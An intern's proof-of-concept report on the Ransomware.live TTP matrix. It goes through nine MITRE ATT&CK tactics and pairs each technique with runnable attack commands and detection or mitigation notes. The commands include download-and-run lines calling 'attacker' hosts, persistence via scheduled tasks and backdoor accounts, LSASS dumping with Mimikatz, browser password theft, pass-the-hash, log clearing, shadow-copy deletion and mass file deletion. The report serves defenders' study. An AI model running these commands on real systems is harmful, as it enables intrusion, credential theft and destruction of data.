PoC Report: Threat Intelligence via Ransomware.live TTP Matrix

Name: Piyush Babele **Intern I'd: 386**

FRAMEWORK OVERVIEW

🔐 Ransomware.live TTP Matrix

Ransomware.live is a threat intelligence platform that tracks the behavior of real-world **ransomware groups**. It maps their actions to the **MITRE ATT&CK Enterprise Matrix**, but focuses **specifically** on **9 out of the 14 total tactics** used by attackers. These 9 tactics represent the **most critical phases** in ransomware operations—from initial code execution to final impact.

🧠 Why This Matrix Matters

While the full MITRE ATT&CK framework includes a broad range of tactics, **ransomware.live narrows it down** to focus on what **ransomware actors actually do in the wild**, making it extremely practical for:

- **Incident responders**
- **Threat hunters**
- **Red teams**
- **SOC analysts**

🎯 The 9 Key Tactics in the Ransomware.live Matrix

- Execution
- Persistence
- Privilege Escalation
- Defense Evasion
- Credential Access
- Discovery
- Lateral Movement
- Collection
- Impact

⚙️ Techniques and Procedures in Ransomware.live

Tactic: Execution (TA0002)

🎯 Description:

The goal of the **Execution** tactic is to **run malicious code** on a target system. Ransomware groups use various methods like PowerShell, malicious documents, and command-line interpreters to initiate payloads.

🛠 Technique 1: T1059 – Command and Scripting Interpreter

🔹 Procedure 1: PowerShell Payload Delivery

Objective: Download and run malware using PowerShell.

```
Invoke-WebRequest http://attacker.server/malware.exe -OutFile malware.exe
Start-Process malware.exe
```

Execution Trigger:

```
powershell.exe -NoProfile -ExecutionPolicy Bypass -File payload.ps1
```

Used In: Spearphishing or drive-by download attacks.

🔐 **Detection:**

- Log PowerShell activity with **`Script Block Logging`**
- Monitor for **`ExecutionPolicy`** `Bypass` and unusual child processes

🔹 Procedure 2: Windows CMD for Payload Execution

Command:

```
cmd.exe /c start http://attacker[.]com/malware.exe
```

Or using certutil:

```
certutil -urlcache -split -f "http://attacker/malware.exe"
malware.exe && malware.exe
```

🔐 **Mitigation:**

- Disable unused interpreters
- Use AppLocker or WDAC rules

🛠 Technique 2: T1204.002 – User Execution: Malicious File

🔹 Procedure 1: Malicious Word Document (Macro)

Steps:

1. Create **`.docm`** file with auto-run macro:

```
Sub AutoOpen()
   Shell "powershell -ExecutionPolicy Bypass -File \\attacker\payload.ps1"
End Sub
```

2. Send via spearphishing email with social engineering lure.

🔐 **Detection:**

- Monitor Office macro executions
- Disable macros by default

▯ Procedure 2: ISO/Shortcut Files with Embedded Malware

Steps:

1. Create `.iso` containing `.lnk` shortcut and hidden EXE
2. User clicks `.lnk`, which launches EXE silently

Command in LNK Target:

```
powershell -w hidden -nop -c IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')
```

🔐 **Mitigation:**

- Block unknown file extensions from email
- Use endpoint behavior monitoring

🛠 Technique 3: T1651 – Cloud Administration Command

▯ Procedure 1: Azure RunCommand

With stolen credentials:

```
az vm run-command invoke -g RG -n VictimVM --command-id RunPowerShellScript --scripts "Invoke-WebRequest http://attacker/m.exe -OutFile C:\temp\m.exe; Start-Process C:\temp\m.exe"
```

▯ Procedure 2: AWS SSM Remote Execution

```
aws ssm send-command --instance-ids i-01234abcd --document-name AWS-RunPowerShellScript --parameters 'commands=["Invoke-WebRequest http://attacker/mal.exe -OutFile C:\\mal.exe", "Start-Process C:\\mal.exe"]'
```

🔐 **Detection:**

- Cloud trail logging for RunCommand/SSM abuse
- Limit cloud admin privileges using RBAC

<u>Tactic: Persistence (TA0003)</u>

🎯 **Description:**

Persistence allows adversaries to maintain access to systems even after reboots or credential changes. This is a key tactic used in ransomware campaigns to ensure a reliable presence for triggering encryption or lateral movement at the desired time.

🛠 Technique 1: T1053 – Scheduled Task/Job

Used by ransomware to execute payloads on reboot or at specific times.

▯ Procedure 1: Create a Scheduled Task (Windows)

Command:

```
schtasks /create /tn "Updater" /tr "powershell.exe -WindowStyle Hidden -File C:\Users\Public\payload.ps1" /sc ONLOGON /ru SYSTEM
```

- Executes malicious script every time a user logs in.
- Runs under SYSTEM privilege if configured.

▯ Procedure 2: Schedule via PowerShell

```
$Action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-File C:\Users\Public\payload.ps1'
$Trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "UpdateService" -Action $Action -Trigger $Trigger -User "SYSTEM"
```

🔐 **Detection:**

- Monitor new tasks in **`Task Scheduler`**
- Audit Event ID **`4698`** (task creation)

🛠 Technique 2: T1136 – Create Account

Adversaries may create new local/domain user accounts for persistence.

▯ Procedure 1: Local Account Creation (Admin Rights)

```
net user ransomware_user MySecurePass123! /add
net localgroup administrators ransomware_user /add
```

Used to maintain a backdoor login even if original credentials are revoked.

▯ Procedure 2: Create Domain Account (via PowerShell)

```
New-ADUser -Name "svc_ransom" -SamAccountName "svc_ransom" -AccountPassword (ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force) -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "svc_ransom"
```

🔐 **Detection:**

- Monitor for new user creation (Event ID 4720)
- Alert on non-admins adding users to privileged groups

🛠 Technique 3: T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys

Modify Windows Registry to auto-start malware at login.

▯ Procedure 1: Registry Modification via PowerShell

```
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Update" -Value "C:\Users\Public\payload.exe"
```

- Ensures payload runs each time the user logs in.

▯ Procedure 2: Registry Entry via Reg Add

```
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d "C:\Temp\payload.exe" /f
```

🔐 Detection:

- Monitor Registry keys: **`HKCU\Run`**, **`HKLM\Run`**
- Use Endpoint Detection & Response (EDR) tools

Tactic: Privilege Escalation (TA0004)

🎯 Description:

Privilege Escalation involves techniques that allow adversaries to gain higher-level permissions on a system, such as Administrator or SYSTEM. This is critical for ransomware actors to disable defenses, access protected files, and execute destructive operations.

🛠 Technique 1: T1053 – Scheduled Task/Job

Although primarily a persistence technique, this can also be abused to execute code with elevated privileges (e.g., SYSTEM account).

▯ Procedure 1: SYSTEM-Level Task Creation

```
schtasks /create /tn "Updater" /tr "C:\Windows\System32\cmd.exe /c whoami > C:\out.txt" /sc ONSTART /ru SYSTEM
```

- Runs **`whoami`** as SYSTEM and logs the result to **`C:\out.txt`**

▯ Procedure 2: Elevated Payload Execution via PowerShell

```
$Action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Tools\rev_shell.exe"
$Trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "EscalateShell" -Action $Action -Trigger $Trigger -User "SYSTEM"
```

🔐 Detection:

- Audit Event ID **`4698`** and **`4702`**
- Monitor startup tasks with SYSTEM-level permissions

🛠 Technique 2: T1068 – Exploitation for Privilege Escalation

Attackers exploit unpatched OS vulnerabilities to elevate privileges.

▯ Procedure 1: CVE-2021-41379 (Windows Installer Elevation)

1. Craft a `.msi` file exploiting improper access control.
2. Execute with `msiexec` to gain SYSTEM shell.

```
msiexec /i exploit.msi
```

- Leverages misconfigured directory permissions to drop malware with elevated rights.

▯ Procedure 2: CVE-2016-0099 – Token Privilege Bug (Windows XP/7)

- Use public exploit to manipulate token privileges.
- Obtain SYSTEM shell via exploit DLL or EXE.

🔐 **Detection:**

- Monitor for exploit execution
- Use up-to-date vulnerability scanning and patch management

🛠 Technique 3: T1134.001 – Access Token Manipulation: Token Impersonation

Abuse access tokens to impersonate higher-privileged users.

▯ Procedure 1: Mimikatz Token Duplication

```
privilege::debug
token::list
token::elevate
```

- Run `mimikatz` as Admin
- Identify and impersonate token of `NT AUTHORITY\SYSTEM`

▯ Procedure 2: CreateProcessWithToken API (C++)

Use the Win32 API to create a new process under a stolen token.

```
CreateProcessWithTokenW(hToken, LOGON_WITH_PROFILE, "cmd.exe", NULL, 0, NULL, NULL, &si, &pi);
```

🔐 **Detection:**

- Monitor for abnormal use of `CreateProcessWithToken`
- Log token manipulation activity in EDR tools

Tactic: Defense Evasion (TA0005)

🎯 **Description:**

Defense Evasion includes techniques used by adversaries to avoid detection, hide artifacts, or disable security tools. Ransomware operations rely heavily on evasion to execute successfully without triggering defenses.

🛠 Technique 1: T1027 – Obfuscated Files or Information

Adversaries encode, pack, or obfuscate scripts or binaries to avoid detection.

🔹 Procedure 1: Base64 Obfuscated PowerShell Script

```
$command = 'Invoke-WebRequest -Uri http://attacker/payload.exe -OutFile C:\temp\payload.exe; Start-Process C:\temp\payload.exe'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

powershell.exe -EncodedCommand $encodedCommand
```

- This avoids detection by hiding script intent from signature-based tools.

🔹 Procedure 2: HTML Smuggling via Obfuscated JavaScript

```
<script>
let blob = new Blob(["malicious_code_here"], { type: "application/octet-stream" });
let link = document.createElement("a");
link.href = URL.createObjectURL(blob);
link.download = "malware.exe";
link.click();
</script>
```

- Delivered via phishing pages using **`HTA`**, **`.html`**, or **`.js`** attachments.

🔐 Detection:

- Monitor **`powershell.exe`** with **`EncodedCommand`** args
- Analyze Office/HTML attachments in sandbox

🛠 Technique 2: T1070 – Indicator Removal on Host

Attackers clear logs, delete files, and disable event tracing.

🔹 Procedure 1: Clear Windows Event Logs

```
wevtutil cl Application
wevtutil cl Security
wevtutil cl System
```

- Erases logs to hinder incident response.

🔹 Procedure 2: File Deletion via Scripting

```
del /F /Q C:\Users\Public\payload.ps1
```

Or in PowerShell:

```
Remove-Item -Path C:\Temp\logs.txt -Force
```

🔐 Detection:

- Alert on excessive use of **`wevtutil`**
- Monitor file deletion patterns in critical directories

🛠 Technique 3: T1036 – Masquerading

Adversaries rename executables to appear legitimate.

🔹 Procedure 1: Rename Ransomware Binary to `svchost.exe`

```
copy payload.exe "C:\Windows\System32\svchost.exe"
```

- Launch it from system folders to blend in.

🔹 Procedure 2: Invalid Code Signature Masquerading

Sign malware with an expired or self-signed certificate:

```
osslsigncode sign -certs mycert.pem -key mykey.pem -n "Microsoft Update" -i
http://update.microsoft.com -in malware.exe -out fakeupdate.exe
```

🔐 Detection:

- Monitor new binaries in **`C:\Windows\System32\`**
- Alert on processes with invalid or suspicious code signatures

---

Tactic: Credential Access (TA0006)

🎯 Description:

Credential Access involves techniques used by adversaries to steal account credentials, including plaintext passwords, password hashes, access tokens, or Kerberos tickets. Ransomware actors often harvest credentials to escalate privileges and move laterally across systems.

🛠 Technique 1: T1003.001 – OS Credential Dumping: LSASS Memory

Adversaries extract credentials from the LSASS (Local Security Authority Subsystem Service) process.

🔹 Procedure 1: Dumping LSASS via Task Manager (Manual)

1. Open Task Manager.
2. Right-click **`lsass.exe`** → Create Dump File.
3. Dump is saved in **`%LOCALAPPDATA%\Temp`**.

Later, the attacker downloads the dump and analyzes it using Mimikatz:

```
mimikatz.exe
sekurlsa::minidump lsass.dmp
```

```
sekurlsa::logonpasswords
```

Procedure 2: Dumping LSASS with ProcDump (Silent)

```
procdump64.exe -ma lsass.exe lsass.dmp
```

Then extract credentials with Mimikatz:

```
mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
```

Detection:

- Monitor processes accessing **`lsass.exe`**
- Use Windows Defender Credential Guard

🛠 Technique 2: T1110 – Brute Force

Repeated attempts to guess usernames and passwords.

Procedure 1: Password Spray using Hydra

```
hydra -l admin -P rockyou.txt ssh://192.168.1.10
```

- Tries thousands of common passwords for a single user.

Procedure 2: SMB Password Brute Force

```
crackmapexec smb 192.168.1.10 -u usernames.txt -p passwords.txt
```

- Attempts multiple username-password combinations over SMB.

Detection:

- Alert on failed logins and account lockouts
- Enable account lockout policies

🛠 Technique 3: T1555.003 – Credentials from Web Browsers

Harvesting saved credentials from browsers like Chrome and Firefox.

Procedure 1: Decrypt Chrome Passwords (Windows)

Use **`WebBrowserPassView`** or built-in Python/PowerShell tools to extract:

```
import win32crypt
import sqlite3
conn = sqlite3.connect('Login Data')
cursor = conn.cursor()
cursor.execute('SELECT origin_url, username_value, password_value FROM logins')
for row in cursor.fetchall():
    print(row)
```

▯ Procedure 2: Harvest with LaZagne Tool

```
lazagne.exe browsers
```

- Dumps stored credentials from Chrome, Firefox, etc.

🔐 **Detection:**

- Block execution of known tools (LaZagne, Mimikatz)
- Monitor access to browser credential storage

Tactic: Discovery (TA0007)

🎯 **Description:**

Discovery techniques allow adversaries to gather information about the environment they have compromised. This includes details about systems, users, software, network configuration, and more — which are often prerequisites for lateral movement and privilege escalation.

🛠 Technique 1: T1016 – System Network Configuration Discovery

Attackers query network configuration to understand IP addresses, routing, DNS, and active interfaces.

▯ Procedure 1: Using `ipconfig` and `netsh` (Windows)

```
ipconfig /all
netsh interface ipv4 show interfaces
```

- Reveals DNS servers, gateway, MAC addresses, etc.

▯ Procedure 2: Enumerate with PowerShell

```
Get-NetIPAddress
Get-DnsClientServerAddress
```

🔐 **Detection:**

- Log abnormal use of PowerShell for system discovery
- Monitor CLI commands run by non-admin users

🛠 Technique 2: T1082 – System Information Discovery

Ransomware operators often check for OS version, architecture, and hostname.

▯ Procedure 1: Basic Enumeration

```
systeminfo
hostname
ver
```

▯ Procedure 2: PowerShell Collection

```
Get-ComputerInfo
```

- Includes full OS details, hardware, and BIOS info

🔐 **Detection:**

- Monitor for mass collection via **`systeminfo`**, **`Get-ComputerInfo`**
- Flag suspicious scripts that combine enumeration commands

🛠 **Technique 3: T1018 – Remote System Discovery**

Identifying accessible systems on the network.

▯ Procedure 1: Net View Enumeration

```
net view /domain
net view \\[hostname]
```

- Lists machines in the current or specified domain

▯ Procedure 2: Ping Sweep Using PowerShell

```
1..254 | ForEach-Object {Test-Connection -ComputerName 192.168.1.$_ -Count 1 -Quiet}
```

- Scans a subnet for live systems

🔐 **Detection:**

- Detect excessive NetBIOS queries or ping sweeps
- Monitor ARP scan behavior in internal networks

<u>Tactic: Lateral Movement (TA0008)</u>

🎯 **Description:**

Lateral Movement enables adversaries to access and control remote systems within a network. After gaining initial access, ransomware operators move laterally to infect more endpoints, escalate privileges, and prepare for broader impact.

🛠 **Technique 1: T1021.001 – Remote Services: Remote Desktop Protocol (RDP)**

Adversaries exploit RDP to log into other systems using stolen credentials.

▯ Procedure 1: RDP via Command Line

```
mstsc /v:192.168.1.20 /admin
```

- Uses built-in Remote Desktop Client with **`/admin`** flag to connect silently.

▯ Procedure 2: RDP Brute-Force Automation

With **`xfreerdp`** (Linux):

```
xfreerdp /u:Administrator /p:password /v:192.168.1.20
```

🔐 **Detection:**

- Monitor Event ID **`4624`** with **`Logon Type 10`**
- Alert on failed RDP login attempts (Event ID **`4625`**)

🛠 Technique 2: T1078 – Valid Accounts

Use of stolen or legitimate credentials to move laterally.

▯ Procedure 1: Pass-the-Hash Attack (NTLM)

```
psexec.py -hashes <NTLMhash>:<empty> administrator@192.168.1.10
```

- Use tools like **`Impacket`** or **`CrackMapExec`** for lateral execution without knowing the plaintext password.

▯ Procedure 2: Domain Account Lateral Movement

```
runas /user:corp.local\svc_admin "cmd.exe"
```

- Launch processes with domain account context.

🔐 **Detection:**

- Correlate unusual logins with process creation
- Alert on use of **`psexec`**, **`runas`**, and known tools

🛠 Technique 3: T1570 – Lateral Tool Transfer

Transferring malicious tools or payloads across systems.

▯ Procedure 1: SMB Copy via `copy` or `xcopy`

```
xcopy payload.exe \\192.168.1.25\C$\Users\Public\
```

- Shares are often open on misconfigured systems.

▯ Procedure 2: PowerShell Remote Transfer

```
Invoke-WebRequest -Uri http://attacker/payload.exe -OutFile
\\target\C$\Users\Public\payload.exe
```

- Requires prior access, often paired with stolen credentials.

🔐 **Detection:**

- Audit SMB write events and cross-host file drops
- Monitor known tools like **`PSExec`**, **`Rubeus`**, **`SharpHound`**

<u>Tactic: Collection (TA0009)</u>

🎯 **Description:**

The **Collection** tactic includes techniques for gathering data of interest to the attacker prior to exfiltration or encryption. In ransomware operations, data collection may include sensitive files, credentials, screenshots, or document harvesting — often followed by encryption or data theft.

🛠 **Technique 1: T1005 – Data from Local System**

Attackers scan the local machine for valuable files (documents, databases, images, etc.).

Procedure 1: PowerShell File Discovery Script

```
Get-ChildItem -Path "C:\Users\*" -Include *.pdf, *.docx, *.xls, *.txt -
Recurse -ErrorAction SilentlyContinue |
Out-File C:\CollectedFiles.txt
```

- Gathers filenames and paths of commonly sensitive files.

Procedure 2: Manual File Copy

```
xcopy /s /i "C:\Users\*\Documents\*.docx" "C:\Staging\Docs\"
```

- Copies files to a staging directory for encryption or exfiltration.

🔍 **Detection:**

- Monitor mass file access patterns
- Alert on sudden spikes in copy/move operations

🛠 **Technique 2: T1056 – Input Capture**

Keylogging to steal passwords or confidential info typed by users.

Procedure 1: Keylogger in PowerShell (Basic)

```
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.SendKeys]::SendWait("^{PRTSC}")
```

Or advanced script to hook key events using Windows APIs (hidden in malware).

Procedure 2: Use Open Source Tools (e.g., `Keylogger.py`)

```
python keylogger.py --output keys.txt
```

- Records keystrokes and sends logs to attacker-controlled server.

🔍 **Detection:**

- Monitor low-level keyboard hooks
- Block suspicious programs interacting with `User32.dll` or `SetWindowsHookEx`

🛠 Technique 3: T1119 – Automated Collection

Automatically collecting data without manual input.

🔹 Procedure 1: Batch Archive of User Files

```
powershell Compress-Archive -Path "C:\Users\*\Documents\*" -DestinationPath "C:\staged\data.zip"
```

- Combines file discovery and compression for efficient ransomware encryption.

🔹 Procedure 2: Harvest Data via Script

```
$files = Get-ChildItem -Recurse -Include *.docx, *.pdf, *.txt -Path C:\Users\
foreach ($file in $files) {
    Copy-Item $file.FullName -Destination "C:\loot\" -Force
}
```

- Gathers targeted documents automatically.

🔐 Detection:

- Alert on PowerShell commands containing **`Compress-Archive`** or **`Copy-Item`** used recursively
- Monitor access to multiple user folders simultaneously

Tactic: Impact (TA0040)

🎯 Description:

The **Impact** tactic consists of techniques that adversaries use to disrupt availability or compromise the integrity of systems and data. In ransomware campaigns, this is the final and most destructive stage — typically involving encryption, deletion, or disabling of recovery mechanisms.

🛠 Technique 1: T1486 – Data Encrypted for Impact

Ransomware encrypts files on target machines, rendering them inaccessible.

🔹 Procedure 1: Encrypt Files Using PowerShell

```
$files = Get-ChildItem -Path "C:\Users\*" -Include *.docx, *.pdf -Recurse
foreach ($file in $files) {
    $content = Get-Content $file.FullName
    $encrypted                                                          =
[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($content))
    Set-Content $file.FullName "$encrypted"
}
```

- Simulates simple “encryption” for PoC (actual ransomware uses AES/RSA algorithms).

▯ Procedure 2: Use Open-Source Ransomware (e.g., HiddenTear)

```
HiddenTear.exe --target "C:\Users\*" --key "supersecurekey"
```

🔐 **Detection:**

- Monitor for bulk file changes
- Alert on new file extensions (.locked, .encrypted, etc.)

🛠 Technique 2: T1490 – Inhibit System Recovery

Disabling or deleting Windows recovery options to prevent system restoration.

▯ Procedure 1: Delete Shadow Copies

```
vssadmin delete shadows /all /quiet
```

- Used by almost all ransomware variants before encryption.

▯ Procedure 2: Disable Recovery Boot Options

```
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
```

- Prevents access to Safe Mode and Recovery Console.

🔐 **Detection:**

- Alert on use of **`vssadmin delete`**
- Monitor **`bcdedit`** changes via PowerShell or EDR logs

🛠 Technique 3: T1485 – Data Destruction

Overwrites or deletes data to cause irreversible loss.

▯ Procedure 1: Secure File Wipe

```
cipher /w:C:\
```

- Windows built-in command to overwrite deleted files.

▯ Procedure 2: Scripted Destruction

```
Remove-Item -Path "C:\Users\*" -Include *.docx, *.pdf, *.txt -Recurse -Force
```

- Recursively deletes files in target directories.

🔐 **Detection:**

- Monitor abnormal use of **`cipher`**, **`Remove-Item`**, or mass deletion patterns
- Maintain offline backups and snapshots

Summary:

Sl. No.	Tactic	Technique ID	Brief Description	MITRE Link
1	**Execution**	T1047	Executes payloads via WMI services or WMI scripts	https://attack.mitre.org/techniques/T1047/
		T1059.001	Runs malicious scripts using PowerShell	https://attack.mitre.org/techniques/T1059/001/
		T1059.003	Executes commands directly via cmd.exe	https://attack.mitre.org/techniques/T1059/003/
2	**Persistence**	T1053	Maintains persistence by creating scheduled execution routines	https://attack.mitre.org/techniques/T1053/
		T1136	Creates local/domain accounts to regain access	https://attack.mitre.org/techniques/T1136/
		T1547.001	Modifies registry to auto-start payloads	https://attack.mitre.org/techniques/T1547/001/
3	**Privilege Escalation**	T1053	Runs payloads with elevated SYSTEM privileges	https://attack.mitre.org/techniques/T1053/
		T1068	Uses OS vulnerabilities to gain elevated access	https://attack.mitre.org/techniques/T1068/
		T1134.001	Hijacks or duplicates access tokens	https://attack.mitre.org/techniques/T1134/001/
4	**Defense Evasion**	T1027	Encodes/obfuscates scripts and binaries to avoid detection	https://attack.mitre.org/techniques/T1027/
		T1070	Deletes logs or artifacts to hide activity	https://attack.mitre.org/techniques/T1070/
		T1036	Fakes file names or signatures to appear legitimate	https://attack.mitre.org/techniques/T1036/

5	**Credential Access**	T1003.001	Dumps memory from LSASS to extract credentials	https://attack.mitre.org/techniques/T1003/001/
		T1110	Attempts password guessing attacks	https://attack.mitre.org/techniques/T1110/
		T1555.003	Harvests saved passwords from Chrome/Firefox	https://attack.mitre.org/techniques/T1555/003/
6	**Discovery**	T1016	Finds IP settings, gateways, DNS servers	https://attack.mitre.org/techniques/T1016/
		T1082	Collects system version, hostname, BIOS info	https://attack.mitre.org/techniques/T1082/
		T1018	Scans network to identify other machines	https://attack.mitre.org/techniques/T1018/
7	**Lateral Movement**	T1021.001	Uses RDP with stolen credentials to access systems	https://attack.mitre.org/techniques/T1021/001/
		T1078	Leverages legitimate credentials for remote access	https://attack.mitre.org/techniques/T1078/
		T1570	Transfers tools across machines via SMB, PowerShell, etc.	https://attack.mitre.org/techniques/T1570/
8	**Collection**	T1005	Locates and copies sensitive files	https://attack.mitre.org/techniques/T1005/
		T1056	Uses keyloggers to steal credentials or typed data	https://attack.mitre.org/techniques/T1056/
		T1119	Uses scripts/tools to collect data in bulk	https://attack.mitre.org/techniques/T1119/
9	**Impact**	T1486	Encrypts victim files using ransomware payload	https://attack.mitre.org/techniques/T1486/

		T1490	Deletes backups and disables recovery settings	https://attack.mitre.org/techniques/T1490/
		T1485	Wipes or overwrites files to cause irrecoverable damage	https://attack.mitre.org/techniques/T1485/

RANSOMWARE .LIVE

Victims | Groups | Press | Search | Statistics | Worldmap | About

Negotiations | Ransom Notes | YARA Rules | TTPs Matrix | IoC | Notifications | API

Buy Me a Coffee

Sponsored by **Hudson Rock** – Use Hudson Rock's free cybercrime intelligence tools to learn how Infostealer infections are impacting your business.

ATT&CK Techniques Matrix

Ransomware Groups

8base, Akira, alphv, BianLian, BlackBasta, BlackSuit, BrainCipher, cactus, Clop, Crosslock, Cuba, DoNex, DragonForce, hunters, Medusa, ransomhub, Royal, SafePay, ThreeAM

Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Impact
T1047 Windows Management Instrumentation	T1053 Scheduled Task/Job	T1053 Scheduled Task/Job	T1021.001 Remote Services: Remote Desktop Protocol	T1003.001 OS Credential Dumping	T1007 System Service Discovery	T1021 Remote Services	T1005 Data from Local System	T1485 Data Destruction
T1053 Scheduled Task/Job	T1078 Valid Accounts	T1068 Exploitation for privilege escalation	T1027 Obfuscated Files or Information	T1003.001 OS Credential Dumping: LSASS Memory	T1010 Application Window Discovery	T1021.001 Remote Desktop Protocol	T1056 Input Capture	T1486 Data Encrypted for Impact
T1053.005 Scheduled Task/Job: Scheduled Task	T1098 Account Manipulation	T1078 Valid Accounts	T1027.002 Obfuscated Files or Information: Software Packing	T1021.002 Remote Services: External Remote Services	T1012 Query registry	T1021.001 Remote Services: Remote Desktop Protocol	T1074 Data Staged	T1489 Service Stop
T1059 Command and Scripting Interpreter	T1136 Create Account	T1078.002 Valid Accounts: Domain Accounts	T1027.002 Software Packing	T1056 Input Capture	T1016 System Network Configuration Discovery	T1021.002 Remote services: SMB/Windows admin shares	T1119 Automated Collection	T1490 Inhibit System Recovery
T1059.001 Command and Scripting Interpreter: PowerShell	T1136.001 Create Account: Local Account	T1078.002 Domain Accounts	T1027.005 Indicator Removal from Tools	T1110 Brute Force	T1016.001 Network Configuration Discovery: Network Connection Enumeration	T1021.004 Remote Services: SSH	T1560 Archive Collected Data	T1498 Network Denial of Service
T1059.003 Command and Scripting Interpreter: Windows Command Shell	T1136.002 Create Account: Domain Account	T1134.001 Token Impersonation/Theft	T1027.006 Obfuscated Files or Information: HTML Smuggling	T1212 Exploitation for Credential Access	T1018 Remote System Discovery	T1078.002 Valid Accounts: Domain Accounts	T1560.001 Archive Collected Data: Archive via Utility	
T1064 Scripting	T1543.003 Create or Modify System Process: Windows Service	T1134.002 Access Token Manipulation: Create Process with Token	T1027.009 Embedded Payloads	T1552 Unsecured Credentials	T1049 System Network Connections Discovery	T1080 Taint Shared Content		
T1072 Software Deployment Tools	T1543.003 Windows Services	T1484.001 Domain Policy Modification: Group Policy Modification	T1036 Masquerading	T1555 Credentials from Password Stores	T1057 Process Discovery	T1091 Replication Through Removable Media		
T1106 Native API	T1547 Boot or Logon Autostart Execution	T1543.003 Service Execution	T1036.001 Masquerading: invalid code signature	T1555.003 Credentials from Web Browsers	T1082 System Information Discovery	T1333 External Remote Services		
T1129 Shared Modules	T1547 Server Software Component	T1543.003 Create or Modify System Process: Windows Service	T1036.005 Masquerading: Match Legitimate Name or Location		T1083 File and Directory Discovery	T1550.002 Use Alternate Authentication Material: Pass the Hash		